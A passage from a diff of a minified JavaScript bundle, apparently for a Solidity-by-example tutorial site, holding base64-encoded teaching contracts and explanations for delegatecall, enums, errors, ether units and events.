QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],zb=`

                    delegatecall is a low level function similar to call.

                    +`,Kb=({prev:s,next:a})=>r.jsx(A,{version:Xb,title:vb,description:Rb,html:Hb,prev:s,next:a,codes:Nb}),Fb="0.8.24",Mb="Delegatecall",Sb="Example of how to use deletegatecall in Solidity",xb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Jb=`

                    delegatecall is a low level function similar to call.

                    When contract A executes delegatecall to contract B, B's code is executed

                    with contract A's storage, msg.sender and msg.value.

                    // SPDX-License-Identifier: MIT
@@ -7404,7 +7404,7 @@ IERC20 constant PAIR Solidity supports enumerables and they are useful to model choice and keep track of state.
                    
+
                    `,zb=({prev:s,next:a})=>r.jsx(A,{version:Fb,title:Mb,description:Sb,html:Jb,prev:s,next:a,codes:xb}),Db="0.8.24",Eb="Enum",Qb="Example of enums in Solidity",Tb=[{fileName:"Enum.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZXNlbnRpbmcgc2hpcHBpbmcgc3RhdHVzCiAgICBlbnVtIFN0YXR1cyB7CiAgICAgICAgUGVuZGluZywKICAgICAgICBTaGlwcGVkLAogICAgICAgIEFjY2VwdGVkLAogICAgICAgIFJlamVjdGVkLAogICAgICAgIENhbmNlbGVkCiAgICB9CgogICAgLy8gRGVmYXVsdCB2YWx1ZSBpcyB0aGUgZmlyc3QgZWxlbWVudCBsaXN0ZWQgaW4KICAgIC8vIGRlZmluaXRpb24gb2YgdGhlIHR5cGUsIGluIHRoaXMgY2FzZSAiUGVuZGluZyIKICAgIFN0YXR1cyBwdWJsaWMgc3RhdHVzOwoKICAgIC8vIFJldHVybnMgdWludAogICAgLy8gUGVuZGluZyAgLSAwCiAgICAvLyBTaGlwcGVkICAtIDEKICAgIC8vIEFjY2VwdGVkIC0gMgogICAgLy8gUmVqZWN0ZWQgLSAzCiAgICAvLyBDYW5jZWxlZCAtIDQKICAgIGZ1bmN0aW9uIGdldCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKFN0YXR1cykgewogICAgICAgIHJldHVybiBzdGF0dXM7CiAgICB9CgogICAgLy8gVXBkYXRlIHN0YXR1cyBieSBwYXNzaW5nIHVpbnQgaW50byBpbnB1dAogICAgZnVuY3Rpb24gc2V0KFN0YXR1cyBfc3RhdHVzKSBwdWJsaWMgewogICAgICAgIHN0YXR1cyA9IF9zdGF0dXM7CiAgICB9CgogICAgLy8gWW91IGNhbiB1cGRhdGUgdG8gYSBzcGVjaWZpYyBlbnVtIGxpa2UgdGhpcwogICAgZnVuY3Rpb24gY2FuY2VsKCkgcHVibGljIHsKICAgICAgICBzdGF0dXMgPSBTdGF0dXMuQ2FuY2VsZWQ7CiAgICB9CgogICAgLy8gZGVsZXRlIHJlc2V0cyB0aGUgZW51bSB0byBpdHMgZmlyc3QgdmFsdWUsIDAKICAgIGZ1bmN0aW9uIHJlc2V0KCkgcHVibGljIHsKICAgICAgICBkZWxldGUgc3RhdHVzOwogICAgfQp9Cg=="},{fileName:"EnumDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnRW51bURlY2xhcmF0aW9uLnNvbCcKCmVudW0gU3RhdHVzIHsKICAgIFBlbmRpbmcsCiAgICBTaGlwcGVkLAogICAgQWNjZXB0ZWQsCiAgICBSZWplY3RlZCwKICAgIENhbmNlbGVkCn0K"},{fileName:"EnumImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K"}],Ub=`

                    Solidity supports enumerables and they are useful to model choice and keep track of state.

                    Enums can be declared outside of a contract.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -7470,7 +7470,7 @@ IERC20 constant PAIR contract Enum {
     Status public status;
 }
-
                    `,Lb=({prev:s,next:a})=>r.jsx(A,{version:Eb,title:Qb,description:Tb,html:_b,prev:s,next:a,codes:Ub}),Ob="0.8.24",Pb="Error",$b="Example of how to throw errors in Solidity",qb=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZSAtPSBfYW1vdW50OwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA8PSBvbGRCYWxhbmNlKTsKICAgIH0KfQo="},{fileName:"Error.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVycm9yIHsKICAgIGZ1bmN0aW9uIHRlc3RSZXF1aXJlKHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXF1aXJlIHNob3VsZCBiZSB1c2VkIHRvIHZhbGlkYXRlIGNvbmRpdGlvbnMgc3VjaCBhczoKICAgICAgICAvLyAtIGlucHV0cwogICAgICAgIC8vIC0gY29uZGl0aW9ucyBiZWZvcmUgZXhlY3V0aW9uCiAgICAgICAgLy8gLSByZXR1cm4gdmFsdWVzIGZyb20gY2FsbHMgdG8gb3RoZXIgZnVuY3Rpb25zCiAgICAgICAgcmVxdWlyZShfaSA+IDEwLCAiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0UmV2ZXJ0KHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXZlcnQgaXMgdXNlZnVsIHdoZW4gdGhlIGNvbmRpdGlvbiB0byBjaGVjayBpcyBjb21wbGV4LgogICAgICAgIC8vIFRoaXMgY29kZSBkb2VzIHRoZSBleGFjdCBzYW1lIHRoaW5nIGFzIHRoZSBleGFtcGxlIGFib3ZlCiAgICAgICAgaWYgKF9pIDw9IDEwKSB7CiAgICAgICAgICAgIHJldmVydCgiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgICAgICB9CiAgICB9CgogICAgdWludDI1NiBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTogYmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],sw=`

                    An error will undo all changes made to the state during a transaction.

                    +`,_b=({prev:s,next:a})=>r.jsx(A,{version:Db,title:Eb,description:Qb,html:Ub,prev:s,next:a,codes:Tb}),Lb="0.8.24",Ob="Error",Pb="Example of how to throw errors in Solidity",$b=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZSAtPSBfYW1vdW50OwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA8PSBvbGRCYWxhbmNlKTsKICAgIH0KfQo="},{fileName:"Error.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVycm9yIHsKICAgIGZ1bmN0aW9uIHRlc3RSZXF1aXJlKHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXF1aXJlIHNob3VsZCBiZSB1c2VkIHRvIHZhbGlkYXRlIGNvbmRpdGlvbnMgc3VjaCBhczoKICAgICAgICAvLyAtIGlucHV0cwogICAgICAgIC8vIC0gY29uZGl0aW9ucyBiZWZvcmUgZXhlY3V0aW9uCiAgICAgICAgLy8gLSByZXR1cm4gdmFsdWVzIGZyb20gY2FsbHMgdG8gb3RoZXIgZnVuY3Rpb25zCiAgICAgICAgcmVxdWlyZShfaSA+IDEwLCAiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0UmV2ZXJ0KHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXZlcnQgaXMgdXNlZnVsIHdoZW4gdGhlIGNvbmRpdGlvbiB0byBjaGVjayBpcyBjb21wbGV4LgogICAgICAgIC8vIFRoaXMgY29kZSBkb2VzIHRoZSBleGFjdCBzYW1lIHRoaW5nIGFzIHRoZSBleGFtcGxlIGFib3ZlCiAgICAgICAgaWYgKF9pIDw9IDEwKSB7CiAgICAgICAgICAgIHJldmVydCgiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgICAgICB9CiAgICB9CgogICAgdWludDI1NiBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTogYmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],qb=`

                    An error will undo all changes made to the state during a transaction.

                    You can throw an error by calling require, revert or assert.

                    • require is used to validate inputs and conditions before execution.
                      • @@ -7558,7 +7558,7 @@ assertion probably means that there is a bug. assert(balance <= oldBalance); } } -`,aw=({prev:s,next:a})=>r.jsx(A,{version:Ob,title:Pb,description:$b,html:sw,prev:s,next:a,codes:qb}),nw="0.8.24",lw="Ether and Wei",pw="An example of Ether and Wei in Solidity",ew=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IChvbmVXZWkgPT0gMSk7CgogICAgdWludDI1NiBwdWJsaWMgb25lR3dlaSA9IDEgZ3dlaTsKICAgIC8vIDEgZ3dlaSBpcyBlcXVhbCB0byAxMF45IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVHd2VpID0gKG9uZUd3ZWkgPT0gMWU5KTsKCiAgICB1aW50MjU2IHB1YmxpYyBvbmVFdGhlciA9IDEgZXRoZXI7CiAgICAvLyAxIGV0aGVyIGlzIGVxdWFsIHRvIDEwXjE4IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVFdGhlciA9IChvbmVFdGhlciA9PSAxZTE4KTsKfQo="}],cw=`

                      Transactions are paid with ether.

                      +`,sw=({prev:s,next:a})=>r.jsx(A,{version:Lb,title:Ob,description:Pb,html:qb,prev:s,next:a,codes:$b}),aw="0.8.24",nw="Ether and Wei",lw="An example of Ether and Wei in Solidity",pw=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IChvbmVXZWkgPT0gMSk7CgogICAgdWludDI1NiBwdWJsaWMgb25lR3dlaSA9IDEgZ3dlaTsKICAgIC8vIDEgZ3dlaSBpcyBlcXVhbCB0byAxMF45IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVHd2VpID0gKG9uZUd3ZWkgPT0gMWU5KTsKCiAgICB1aW50MjU2IHB1YmxpYyBvbmVFdGhlciA9IDEgZXRoZXI7CiAgICAvLyAxIGV0aGVyIGlzIGVxdWFsIHRvIDEwXjE4IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVFdGhlciA9IChvbmVFdGhlciA9PSAxZTE4KTsKfQo="}],ew=`

                      Transactions are paid with ether.

                      Similar to how one dollar is equal to 100 cent, one ether is equal to 1018 wei.

                      // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -7576,7 +7576,7 @@ assertion probably means that there is a bug.
     // 1 ether is equal to 10^18 wei
     bool public isOneEther = (oneEther == 1e18);
 }
-
                      `,tw=({prev:s,next:a})=>r.jsx(A,{version:nw,title:lw,description:pw,html:cw,prev:s,next:a,codes:ew}),ow="0.8.24",rw="Events",iw="Example of how to emit events in Solidity",gw=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],hw=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      +`,cw=({prev:s,next:a})=>r.jsx(A,{version:aw,title:nw,description:lw,html:ew,prev:s,next:a,codes:pw}),tw="0.8.24",ow="Events",rw="Example of how to emit events in Solidity",iw=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],gw=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      • Listening for events and updating user interface
                      • A cheap form of storage
                        • @@ -7597,7 +7597,7 @@ assertion probably means that there is a bug. emit AnotherLog(); } } -`,Iw=({prev:s,next:a})=>r.jsx(A,{version:ow,title:rw,description:iw,html:hw,prev:s,next:a,codes:gw}),dw="0.8.24",Cw="Events Advanced",jw="Advanced topics and concepts related to Solidity events",Aw=[{fileName:"EventsAdvanced.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4xNDsKCi8vIEV2ZW50LURyaXZlbiBBcmNoaXRlY3R1cmUKY29udHJhY3QgRXZlbnREcml2ZW5BcmNoaXRlY3R1cmUgewogICAgZXZlbnQgVHJhbnNmZXJJbml0aWF0ZWQoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZQogICAgKTsKICAgIGV2ZW50IFRyYW5zZmVyQ29uZmlybWVkKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyB0cmFuc2ZlckNvbmZpcm1hdGlvbnM7CgogICAgZnVuY3Rpb24gaW5pdGlhdGVUcmFuc2ZlcihhZGRyZXNzIHRvLCB1aW50MjU2IHZhbHVlKSBwdWJsaWMgewogICAgICAgIGVtaXQgVHJhbnNmZXJJbml0aWF0ZWQobXNnLnNlbmRlciwgdG8sIHZhbHVlKTsKICAgICAgICAvLyAuLi4gKGluaXRpYXRlIHRyYW5zZmVyIGxvZ2ljKQogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2ZlcihieXRlczMyIHRyYW5zZmVySWQpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgIXRyYW5zZmVyQ29uZmlybWF0aW9uc1t0cmFuc2ZlcklkXSwgIlRyYW5zZmVyIGFscmVhZHkgY29uZmlybWVkIgogICAgICAgICk7CiAgICAgICAgdHJhbnNmZXJDb25maXJtYXRpb25zW3RyYW5zZmVySWRdID0gdHJ1ZTsKICAgICAgICBlbWl0IFRyYW5zZmVyQ29uZmlybWVkKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIDApOwogICAgICAgIC8vIC4uLiAoY29uZmlybSB0cmFuc2ZlciBsb2dpYykKICAgIH0KfQoKLy8gRXZlbnQgU3Vic2NyaXB0aW9uIGFuZCBSZWFsLVRpbWUgVXBkYXRlcwppbnRlcmZhY2UgSUV2ZW50U3Vic2NyaWJlciB7CiAgICBmdW5jdGlvbiBoYW5kbGVUcmFuc2ZlckV2ZW50KGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB2YWx1ZSkKICAgICAgICBleHRlcm5hbDsKfQoKY29udHJhY3QgRXZlbnRTdWJzY3JpcHRpb24gewogICAgZXZlbnQgTG9nVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZSk7CgogICAgbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpIHB1YmxpYyBzdWJzY3JpYmVyczsKICAgIGFkZHJlc3NbXSBwdWJsaWMgc3Vic2NyaWJlckxpc3Q7CgogICAgZnVuY3Rpb24gc3Vic2NyaWJlKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKCFzdWJzY3JpYmVyc1ttc2cuc2VuZGVyXSwgIkFscmVhZHkgc3Vic2NyaWJlZCIpOwogICAgICAgIHN1YnNjcmliZXJzW21zZy5zZW5kZXJdID0gdHJ1ZTsKICAgICAgICBzdWJzY3JpYmVyTGlzdC5wdXNoKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Vic2NyaWJlKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHN1YnNjcmliZXJzW21zZy5zZW5kZXJdLCAiTm90IHN1YnNjcmliZWQiKTsKICAgICAgICBzdWJzY3JpYmVyc1ttc2cuc2VuZGVyXSA9IGZhbHNlOwogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHN1YnNjcmliZXJMaXN0Lmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzdWJzY3JpYmVyTGlzdFtpXSA9PSBtc2cuc2VuZGVyKSB7CiAgICAgICAgICAgICAgICBzdWJzY3JpYmVyTGlzdFtpXSA9IHN1YnNjcmliZXJMaXN0W3N1YnNjcmliZXJMaXN0Lmxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgc3Vic2NyaWJlckxpc3QucG9wKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHR